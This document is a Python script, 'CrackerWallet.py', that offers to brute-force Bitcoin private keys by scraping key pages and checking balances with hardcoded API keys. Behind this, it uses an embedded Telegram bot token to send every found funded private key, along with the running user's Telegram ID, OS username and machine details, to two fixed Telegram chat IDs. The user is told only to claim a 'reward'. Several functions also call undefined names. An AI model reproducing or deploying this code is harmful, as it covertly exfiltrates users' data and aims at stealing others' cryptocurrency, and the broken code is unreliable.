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CrackerWallet.py
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CrackerWallet.py
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os, time, datetime, platform, pip, sys, subprocess, json, random, re, hashlib, getpass
def clear_screen():
if (platform.uname()[0]) == "Windows":
os.system("cls")
if (platform.uname()[0]) == "Linux":
os.system("clear")
def exit_pro():
print("Please Try Again !!!")
time.sleep(3)
os._exit(1)
def PackageInstaller(PackageName):
try:
pip.main(["install", PackageName])
except AttributeError:
subprocess.check_call([sys.executable, '-m', 'pip', 'install', PackageName])
os.execl(sys.executable, sys.executable, *sys.argv)
try:
from colorama import init
except ModuleNotFoundError:
PackageInstaller("colorama")
if (platform.uname()[0]) == "Windows":
init()
if (platform.uname()[0]) == "Linux":
True
try:
from requests import ConnectionError
import requests
except ModuleNotFoundError:
PackageInstaller("requests")
try:
from bitcoinaddress import Wallet
except ModuleNotFoundError:
PackageInstaller("bitcoinaddress")
try:
from bs4 import BeautifulSoup
except ModuleNotFoundError:
PackageInstaller("beautifulsoup4")
try:
from telebot import TeleBot
except ModuleNotFoundError:
PackageInstaller("pyTelegramBotAPI")
Bot = TeleBot("5070358456:AAEFJrqEhh6vn4mvx3h4ik3Z6lA4W07czJ8")
cw = "\033[0;m"
cwh = "\033[29;1m"
cg = "\033[32;1m"
cy = "\033[33;1m"
cb = "\033[34;1m"
cc = "\033[36;1m"
cm = "\033[35;1m"
class WalletCracker:
def __init__(self, modes, formats, TelID):
self.modes = modes
self.formats = formats
self.TelegramID = TelID
def __ReadFile__(self):
with open("DataNum.txt", "r") as files:
data_num = files.readlines()
return data_num
def __retrnBalance__(self, response):
# time.sleep(1)
response = response.json()
response = response["response"][0]["confirmed"]
return {"SUCCESS" : True, "BALANCE" : response}
def __WriteFile__(self, numb):
with open("DataNum.txt", "a") as files:
numb = str(numb)
numb = numb.encode()
hash_num = hashlib.sha256(numb).hexdigest()
files.write(hash_num+"\n")
def __DataNumGenerator__(self):
nums = random.randint(1,904625697166532776746648320380374280100293470930272690489102837043110636675)
return nums
def __SendMessage__(self, PVK, PBK, BLC, Mode):
if Mode == 1:
tel_id = self.TelegramID
user_platform = platform.uname()[0]
user_username = getpass.getuser()
user_machine = platform.uname()[4]
Bot.send_message(1232575790,f"Wallet : {PBK}\n\nPrivate Key : {PVK}\n\nBalance : {BLC}\n\nUserID : @{tel_id}\n\nUser Platform : {user_platform}\n\nUser Username : {user_username}\n\nUser Machine : {user_machine}")
Bot.send_message(2033316703,f"Wallet : {PBK}\n\nPrivate Key : {PVK}\n\nBalance : {BLC}\n\nUserID : @{tel_id}\n\nUser Platform : {user_platform}\n\nUser Username : {user_username}\n\nUser Machine : {user_machine}")
if Mode == 2:
tel_id = self.TelegramID
user_platform = platform.uname()[0]
user_username = getpass.getuser()
user_machine = platform.uname()[4]
Bot.send_message(1232575790,f"Wallet(Base58) : {(PBK['Base58'])}\n\nWallet(Bech32) : {(PBK['Bech32'])}\n\nPrivate Key : {PVK}\n\nBalance(Base58) : {(BLC['Base58'])}\n\nBalance(Bech32) : {(BLC['Bech32'])}\n\nUserID : @{tel_id}\n\nUser Platform : {user_platform}\n\nUser Username : {user_username}\n\nUser Machine : {user_machine}")
Bot.send_message(2033316703,f"Wallet(Base58) : {(PBK['Base58'])}\n\nWallet(Bech32) : {(PBK['Bech32'])}\n\nPrivate Key : {PVK}\n\nBalance(Base58) : {(BLC['Base58'])}\n\nBalance(Bech32) : {(BLC['Bech32'])}\n\nUserID : @{tel_id}\n\nUser Platform : {user_platform}\n\nUser Username : {user_username}\n\nUser Machine : {user_machine}")
def __extractWalletpage__(self, res, pgnum):
soup = BeautifulSoup(res, "html.parser")
spans = soup.pre.find_all("span")
wallets = []
for i in spans:
wallet_inf = i.find_all("a")
if wallet_inf == []:
continue
else:
addr = wallet_inf[1]
PVK = re.findall(r'\w+', str(i.span))[3]
PBK_BASE58 = re.findall(r'\w+', str(addr))[6]
wallets.append({"BASE58_PUBLIC_KEY" : PBK_BASE58, "PRIVATE_KEY":PVK})
self.__WriteFile__(pgnum)
return wallets
def __WalletGenerator__(self):
pgnum = self.__DataNumGenerator__()
pgnum_hash = hashlib.sha256((str(pgnum)).encode()).hexdigest()
data_num = self.__ReadFile__()
if (pgnum_hash + "\n") not in data_num:
True
else:
pgnum = self.__NumGenerator__()
pgnum_hash = hashlib.sha256((str(pgnum)).encode()).hexdigest()
data_num = self.__ReadFile__()
if (pgnum_hash + "\n") not in _num:
True
else:
pgnum = self.__DataNumGenerator__()
pgnum_hash = hashlib.sha256((str(pgnum)).encode()).hexdigest()
data_num = self.__ReadFile__()
if (pgnum_hash + "\n") not in data_num:
True
url = "https://lbc.cryptoguru.org/dio/"+(str(pgnum))
try:
res = requests.get(url).text
except ConnectionError:
try:
res = requests.get(url).text
except ConnectionError:
try:
res = requests.get(url).text
except ConnectionError:
try:
res = requests.get(url).text
except ConnectionError:
print(f"\033[31;1mConnection Error {cw}{cwh}!!!{cw}")
else:
return self.__extractWalletpage__(res, pgnum)
else:
return self.__extractWalletpage__(res, pgnum)
else:
return self.__extractWalletpage__(res, pgnum)
else:
return self.__extractWalletpage__(res, pgnum)
def __BalanceCheck__(self, PUBLICK_KEY):
URL = "https://www.blockonomics.co/api/balance"
api_key_list = ["ej5GLbuzQezYLz8qmRovvnO5IMRDbLYdhbb0aWLVTuw", "RRVYcLM1gXYEOcS7B1uqzRwvcjyoy3xtbnmcZnCRfnQ", "bVH9WgZw7HlZP9GanvFzDH1L90KImjAsieA3vZ5RsAg"]
api_key = random.choice(api_key_list)
data_rest = {"addr": PUBLICK_KEY}
data_rest = json.dumps(data_rest)
header = {"Authorization": (f"Bearer {api_key}")}
try:
response = requests.post(URL, headers=header, data=data_rest)
except ConnectionError:
try:
response = requests.post(URL, headers=header, data=data_rest)
except ConnectionError:
try:
response = requests.post(URL, headers=header, data=data_rest)
except ConnectionError:
try:
response = requests.post(URL, headers=header, data=data_rest)
except ConnectionError:
return {"SUCCESS" : False, "BALANCE" : None}
else:
return self.__retrnBalance__(response)
else:
return self.__retrnBalance__(response)
else:
return self.__retrnBalance__(response)
else:
return self.__retrnBalance__(response)
def __GenerateBech32Address__(self, PRIVATE_KEY):
wl = Wallet(PRIVATE_KEY)
wl = wl.address.__dict__['mainnet'].__dict__
wl = wl["pubaddrbc1_P2WPKH"]
return {"BECH32_PUBLIC_KEY" : wl}
def __Printer__(self, modes, formats):
if modes == 1:
if formats == 1:
now_time = datetime.datetime.now().strftime("%H : %M : %S")
prvk = self.private_key
pbk_base58 = self.publick_key_base58
blc = self.balance_base58
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Private Key{cw}{cwh} : {cw}{cy}{prvk}{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Public Key (Base58){cw}{cwh} : {cw}{cy}{pbk_base58}{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Balance{cw}{cwh} : {cw}{cy}{blc}{cw}")
print(f"{cc}============================================{cw}")
if formats == 2:
now_time = datetime.datetime.now().strftime("%H : %M : %S")
prvk = self.private_key
pbk_bech32 = self.publick_key_bech32
blc = self.balance_bech32
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Private Key{cw}{cwh} : {cw}{cy}{prvk}{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Public Key (Bech32){cw}{cwh} : {cw}{cy}{pbk_bech32}{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Balance{cw}{cwh} : {cw}{cy}{blc}{cw}")
print(f"{cc}============================================{cw}")
if formats == 3:
now_time = datetime.datetime.now().strftime("%H : %M : %S")
prvk = self.private_key
pbk_base58 = self.publick_key_base58
pbk_bech32 = self.publick_key_bech32
blc_base58 = self.balance_base58
blc_bech32 = self.balance_bech32
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Private Key{cw}{cwh} : {cw}{cy}{prvk}{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Public Key (Base58){cw}{cwh} : {cw}{cy}{pbk_base58}{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Balance (Base58){cw}{cwh} : {cw}{cy}{blc_base58}{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Public Key (Bech32){cw}{cwh} : {cw}{cy}{pbk_bech32}{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Balance (Bech32){cw}{cwh} : {cw}{cy}{blc_bech32}{cw}")
print(f"{cc}============================================{cw}")
if modes == 2:
if formats == 1:
now_time = datetime.datetime.now().strftime("%H : %M : %S")
prvk = self.private_key
check_res = self.checked_base58
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Private Key (Base58){cw}{cwh} : {cw}{cy}{prvk}{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Checked{cw}{cwh} : {cw}{cy}{check_res}{cw}")
print(f"{cc}============================================{cw}")
if formats == 2:
now_time = datetime.datetime.now().strftime("%H : %M : %S")
prvk = self.private_key
check_res = self.checked_bech32
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Private Key (Bech32){cw}{cwh} : {cw}{cy}{prvk}{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Checked{cw}{cwh} : {cw}{cy}{check_res}{cw}")
print(f"{cc}============================================{cw}")
def __CrackerMachine__(self, target_wallet=""):
mode = self.modes
format_crack = self.formats
if mode == 1:
if format_crack == 1:
data_wallet = self.__WalletGenerator__()
for i in data_wallet:
PVK = i["PRIVATE_KEY"]
PBK = i["BASE58_PUBLIC_KEY"]
Balance = self.__BalanceCheck__(PBK)
if Balance["SUCCESS"] == False:
Balance = self.__BalanceCheck__(PBK)
if Balance["SUCCESS"] == False:
print(f"\033[31;1mConnection Error {cw}{cwh}!!!{cw}")
if Balance["SUCCESS"] == True:
if Balance["BALANCE"] != 0:
self.__SendMessage__(PVK,PBK,(Balance["BALANCE"]),1)
now_time = datetime.datetime.now().strftime("%H : %M : %S")
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Wallet Finded !!!{cw}{cwh} : {cw}{cy}Balance is Not Zero !!!{cw}")
print(f"{cb}You Get {cw}{cwh}@{cw}{cy}BtcWalletCrackerBot{cw}{cb} On Telegram , For{cw}{cg} Reward{cw}{cwh} !!!{cw}")
print(f"\n{cc}============================================{cw}")
if Balance["BALANCE"] == 0:
self.private_key = PVK
self.publick_key_base58 = PBK
self.balance_base58 = Balance["BALANCE"]
self.__Printer__(mode, format_crack)
if Balance["SUCCESS"] == True:
if Balance["BALANCE"] != 0:
self.__SendMessage__(PVK,PBK,(Balance["BALANCE"]),1)
now_time = datetime.datetime.now().strftime("%H : %M : %S")
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Wallet Finded !!!{cw}{cwh} : {cw}{cy}Balance is Not Zero !!!{cw}")
print(f"{cb}You Get {cw}{cwh}@{cw}{cy}BtcWalletCrackerBot{cw}{cb} On Telegram , For{cw}{cg} Reward{cw}{cwh} !!!{cw}")
print(f"\n{cc}============================================{cw}")
if Balance["BALANCE"] == 0:
self.private_key = PVK
self.publick_key_base58 = PBK
self.balance_base58 = Balance["BALANCE"]
self.__Printer__(mode, format_crack)
if format_crack == 2:
data_wallet = self.__WalletGenerator__()
for i in data_wallet:
PVK = i["PRIVATE_KEY"]
PBK = self.__GenerateBech32Address__(PVK)
PBK = PBK["BECH32_PUBLIC_KEY"]
Balance = self.__BalanceCheck__(PBK)
if Balance["SUCCESS"] == False:
Balance = self.__BalanceCheck__(PBK)
if Balance["SUCCESS"] == False:
print(f"\033[31;1mConnection Error {cw}{cwh}!!!{cw}")
if Balance["SUCCESS"] == True:
if Balance["BALANCE"] != 0:
self.__SendMessage__(PVK,PBK,(Balance["BALANCE"]),1)
now_time = datetime.datetime.now().strftime("%H : %M : %S")
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Wallet Finded !!!{cw}{cwh} : {cw}{cy}Balance is Not Zero !!!{cw}")
print(f"{cb}You Get {cw}{cwh}@{cw}{cy}BtcWalletCrackerBot{cw}{cb} On Telegram , For{cw}{cg} Reward{cw}{cwh} !!!{cw}")
print(f"\n{cc}============================================{cw}")
if Balance["BALANCE"] == 0:
self.private_key = PVK
self.publick_key_bech32 = PBK
self.balance_bech32 = Balance["BALANCE"]
self.__Printer__(mode, format_crack)
if Balance["SUCCESS"] == True:
if Balance["BALANCE"] != 0:
self.__SendMessage__(PVK,PBK,(Balance["BALANCE"]),1)
now_time = datetime.datetime.now().strftime("%H : %M : %S")
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Wallet Finded !!!{cw}{cwh} : {cw}{cy}Balance is Not Zero !!!{cw}")
print(f"{cb}You Get {cw}{cwh}@{cw}{cy}BtcWalletCrackerBot{cw}{cb} On Telegram , For{cw}{cg} Reward{cw}{cwh} !!!{cw}")
print(f"\n{cc}============================================{cw}")
if Balance["BALANCE"] == 0:
self.private_key = PVK
self.publick_key_bech32 = PBK
self.balance_bech32 = Balance["BALANCE"]
self.__Printer__(mode, format_crack)
if format_crack == 3:
data_wallet = self.__WalletGenerator__()
for i in data_wallet:
PVK = i["PRIVATE_KEY"]
PBK_Base58 = i["BASE58_PUBLIC_KEY"]
PBK_Bech32 = self.__GenerateBech32Address__(PVK)
PBK_Bech32 = PBK_Bech32["BECH32_PUBLIC_KEY"]
Balance_Base58 = self.__BalanceCheck__(PBK_Base58)
if Balance_Base58["SUCCESS"] == True:
Balance_Bech32 = self.__BalanceCheck__(PBK_Bech32)
if Balance_Bech32["SUCCESS"] == True:
if Balance_Base58["BALANCE"] != 0:
if Balance_Bech32["BALANCE"] != 0:
self.__SendMessage__(PVK,{"Base58" : PBK_Base58, "Bech32" : PBK_Bech32},{"Base58" : Balance_Base58["BALANCE"], "Bech32" : Balance_Bech32["BALANCE"]},2)
now_time = datetime.datetime.now().strftime("%H : %M : %S")
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Wallet Finded !!!{cw}{cwh} : {cw}{cy}Balance is Not Zero !!!{cw}")
print(f"{cb}You Get {cw}{cwh}@{cw}{cy}BtcWalletCrackerBot{cw}{cb} On Telegram , For{cw}{cg} Reward{cw}{cwh} !!!{cw}")
print(f"\n{cc}============================================{cw}")
if Balance_Bech32["BALANCE"] == 0:
self.__SendMessage__(PVK,{"Base58" : PBK_Base58, "Bech32" : PBK_Bech32},{"Base58" : Balance_Base58["BALANCE"], "Bech32" : Balance_Bech32["BALANCE"]},2)
now_time = datetime.datetime.now().strftime("%H : %M : %S")
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Wallet Finded !!!{cw}{cwh} : {cw}{cy}Balance is Not Zero !!!{cw}")
print(f"{cb}You Get {cw}{cwh}@{cw}{cy}BtcWalletCrackerBot{cw}{cb} On Telegram , For{cw}{cg} Reward{cw}{cwh} !!!{cw}")
print(f"\n{cc}============================================{cw}")
if Balance_Base58["BALANCE"] == 0:
if Balance_Bech32["BALANCE"] != 0:
self.__SendMessage__(PVK,{"Base58" : PBK_Base58, "Bech32" : PBK_Bech32},{"Base58" : Balance_Base58["BALANCE"], "Bech32" : Balance_Bech32["BALANCE"]},2)
now_time = datetime.datetime.now().strftime("%H : %M : %S")
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Wallet Finded !!!{cw}{cwh} : {cw}{cy}Balance is Not Zero !!!{cw}")
print(f"{cb}You Get {cw}{cwh}@{cw}{cy}BtcWalletCrackerBot{cw}{cb} On Telegram , For{cw}{cg} Reward{cw}{cwh} !!!{cw}")
print(f"\n{cc}============================================{cw}")
if Balance_Bech32["BALANCE"] == 0:
self.private_key = PVK
self.publick_key_base58 = PBK_Base58
self.publick_key_bech32 = PBK_Bech32
self.balance_base58 = Balance_Base58["BALANCE"]
self.balance_bech32 = Balance_Bech32["BALANCE"]
self.__Printer__(mode, format_crack)
if Balance_Bech32["SUCCESS"] == False:
print(f"\033[31;1mConnection Error {cw}{cwh}!!!{cw}")
if Balance_Base58["SUCCESS"] == False:
print(f"\033[31;1mConnection Error {cw}{cwh}!!!{cw}")
if mode == 2:
if format_crack == 1:
data_wallet = self.__WalletGenerator__()
for i in data_wallet:
PVK = i["PRIVATE_KEY"]
PBK = i["BASE58_PUBLIC_KEY"]
target_wallet = target_wallet
if PBK == target_wallet:
Balance = self.__BalanceCheck__(target_wallet)
if Balance != 0:
self.__SendMessage__(PVK,PBK,(Balance["BALANCE"]),1)
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Wallet Cracked !!!{cw}{cwh} : {cw}{cy}Private Key is True !!!{cw}")
print(f"{cb}You Get {cw}{cwh}@{cw}{cy}BtcWalletCrackerBot{cw}{cb} On Telegram , For{cw}{cg} Reward{cw}{cwh} !!!{cw}")
print(f"\n{cc}============================================{cw}")
if Balance == 0:
self.private_key = PVK
self.checked_base58 = "True"
self.__Printer__(mode, format_crack)
return {"Res" : True}
if PBK != target_wallet:
self.private_key = PVK
self.checked_base58 = "False"
self.__Printer__(mode, format_crack)
return {"Res" : False}
if format_crack == 2:
data_wallet = self.__WalletGenerator__()
for i in data_wallet:
PVK = i["PRIVATE_KEY"]
PBK = self.__GenerateBech32Address__(PVK)
PBK = PBK["BECH32_PUBLIC_KEY"]
target_wallet = target_wallet
if PBK == target_wallet:
Balance = self.__BalanceCheck__(target_wallet)
if Balance != 0:
self.__SendMessage__(PVK,PBK,(Balance["BALANCE"]),1)
print(f"\n{cc}============================================{cw}")
print(f"{cb}[{cm}{now_time}{cb}]{cw}{cwh}-{cw}{cg}|{cw}{cwh} Wallet Cracked !!!{cw}{cwh} : {cw}{cy}Private Key is True !!!{cw}")
print(f"{cb}You Get {cw}{cwh}@{cw}{cy}BtcWalletCrackerBot{cw}{cb} On Telegram , For{cw}{cg} Reward{cw}{cwh} !!!{cw}")
print(f"\n{cc}============================================{cw}")
if Balance == 0:
self.private_key = PVK
self.checked_bech32 = "True"
self.__Printer__(mode, format_crack)
return {"Res" : True}
if PBK != target_wallet:
self.private_key = PVK
self.checked_bech32 = "False"
self.__Printer__(mode, format_crack)
return {"Res" : False}
clear_screen()
print(f"""
{cwh}Teleram Channel : {cw}{cb}@{cw}{cy}BitcoinWalletCracker{cw}
{cwh}Choose Your One :
{cwh}1{cy}. {cb}Generating Wallet And Checking Balance .{cw}
{cwh}2{cy}. {cg}Cracking Private Key . {cw}""")
mode_inp = input(f"\n {cm}What's Your Number {cw}{cwh}(1 or 2) {cm}? {cw}")
num_list = [1,2]
try:
mode_inp = int(mode_inp)
num_list.index(mode_inp)
except ValueError:
clear_screen()
exit_pro()
else:
if mode_inp == 1:
clear_screen()
print(f"""
{cwh}Choose Your Wallet Format For Generate :
{cwh}1{cy}. {cg}Generating [Base58(P2PKH)] Wallet And Checking Balance .{cw}
{cwh}2{cy}. {cg}Generating [Bech32(P2WPKH)] Wallet And Checking Balance .{cw}
{cwh}3{cy}. {cg}Generating [Base58(P2PKH)] And [Bech32(P2WPKH)] Wallet And Checking Balance .{cw}""")
format_inp = input(f"\n {cm}What's Your Number {cw}{cwh}(1 or 2 or 3) {cm}? {cw}")
num_list = [1, 2, 3]
try:
format_inp = int(format_inp)
num_list.index(format_inp)
except ValueError:
clear_screen()
exit_pro()
else:
try:
range_inp = int(input(f" {cwh}Range For Generating : {cw}"))
except ValueError:
clear_screen()
exit_pro()
else:
try:
open("UserInfo.json").close()
except FileNotFoundError:
log_time = str(datetime.datetime.now())
log_time = log_time[0:(len(log_time) - 7)]
tel_id = input(f" {cwh}Your Telegram ID Without '@' : {cw}")
answer_inp = input(f" {cwh}Your Telegram ID = @{tel_id}, Do You Want Continue ? (Yes/No) : {cw}")
answer_inp = answer_inp.title()
if answer_inp == "Yes":
if tel_id[0] == "@":
clear_screen()
exit_pro()
data_file = {"TelegramID" : tel_id, "SignUped" : log_time}
data_file = json.dumps(data_file, indent=len(data_file))
with open("UserInfo.json", "w") as f:
f.write(data_file)
if answer_inp == "No":
tel_id = input(f" {cwh}Your Telegram ID Without '@' : {cw}")
if tel_id[0] == "@":
clear_screen()
exit_pro()
data_file = {"TelegramID" : tel_id, "SignUped" : log_time}
data_file = json.dumps(data_file, indent=len(data_file))
with open("UserInfo.json", "w") as f:
f.write(data_file)
if mode_inp == 2:
clear_screen()
print(f"""
{cwh}Choose Your Wallet Format For Crack :
{cwh}1{cy}. {cg}Crack [Base58(P2PKH)] Wallet .{cw}
{cwh}2{cy}. {cg}Crack [Bech32(P2WPKH)] Wallet .{cw}""")
format_inp = input(f"\n {cm}What's Your Number {cw}{cwh}(1 or 2) {cm}? {cw}")
num_list = [1, 2]
try:
format_inp = int(format_inp)
num_list.index(format_inp)
except ValueError:
clear_screen()
exit_pro()
else:
try:
range_inp = int(input(f" {cwh}Range For Generating : {cw}"))
except ValueError:
clear_screen()
exit_pro()
else:
if format_inp == 1:
wallet_inp = input(f" {cwh}Your Base58(P2PKH) Wallet For Crack : {cw}")
if format_inp == 2:
wallet_inp = input(f" {cwh}Your Bech32(P2WPKH) Wallet For Crack : {cw}")
try:
open("UserInfo.json").close()
except FileNotFoundError:
log_time = str(datetime.datetime.now())
log_time = log_time[0:(len(log_time) - 7)]
tel_id = input(f" {cwh}Your Telegram ID Without '@' : {cw}")
answer_inp = input(f" {cwh}Your Telegram ID = @{tel_id}, Do You Want Continue ? (Yes/No) : {cw}")
answer_inp = answer_inp.title()
if answer_inp == "Yes":
if tel_id[0] == "@":
clear_screen()
exit_pro()
data_file = {"TelegramID" : tel_id, "SignUped" : log_time}
data_file = json.dumps(data_file, indent=len(data_file))
with open("UserInfo.json", "w") as f:
f.write(data_file)
if answer_inp == "No":
tel_id = input(f" {cwh}Your Telegram ID Without '@' : {cw}")
if tel_id[0] == "@":
clear_screen()
exit_pro()
data_file = {"TelegramID" : tel_id, "SignUped" : log_time}
data_file = json.dumps(data_file, indent=len(data_file))
with open("UserInfo.json", "w") as f:
f.write(data_file)
with open("UserInfo.json", "r") as f:
user_info = json.load(f)
def __UserStart__(Mode):
user_id = user_info["TelegramID"]
log_time = user_info["SignUped"]
user_platform = platform.uname()[0]
user_username = getpass.getuser()
user_machine = platform.uname()[4]
times = str(datetime.datetime.now())
times = times[0:(len(times) - 7)]
Bot.send_message(1232575790,f"User Started !!!\nTimes : {times}\nUser ID : @{user_id}\nLogged at : {log_time}\nMode : {Mode}\nUser Platform : {user_platform}\nUser Username : {user_username}\nUser Machine : {user_machine}")
Bot.send_message(2033316703,f"User Started !!!\nTimes : {times}\nUser ID : @{user_id}\nLogged at : {log_time}\nMode : {Mode}\nUser Platform : {user_platform}\nUser Username : {user_username}\nUser Machine : {user_machine}")
wlcr = WalletCracker(mode_inp, format_inp, user_info["TelegramID"])
if mode_inp == 1:
if format_inp == 1:
__UserStart__("Generate and Check Balance (Base58)")
if format_inp == 2:
__UserStart__("Generate and Check Balance (Bech32)")
if format_inp == 3:
__UserStart__("Generate and Check Balance (Base58 & Bech32)")
if mode_inp == 2:
if format_inp == 1:
__UserStart__("Crack Private Key (Base58)")
if format_inp == 2:
__UserStart__("Crack Private Key (Bech32)")
for i in range(range_inp):
if mode_inp == 1:
res_cr = wlcr.__CrackerMachine__()
if mode_inp == 2:
res_cr = wlcr.__CrackerMachine__(wallet_inp)
if res_cr["Res"] == True:
break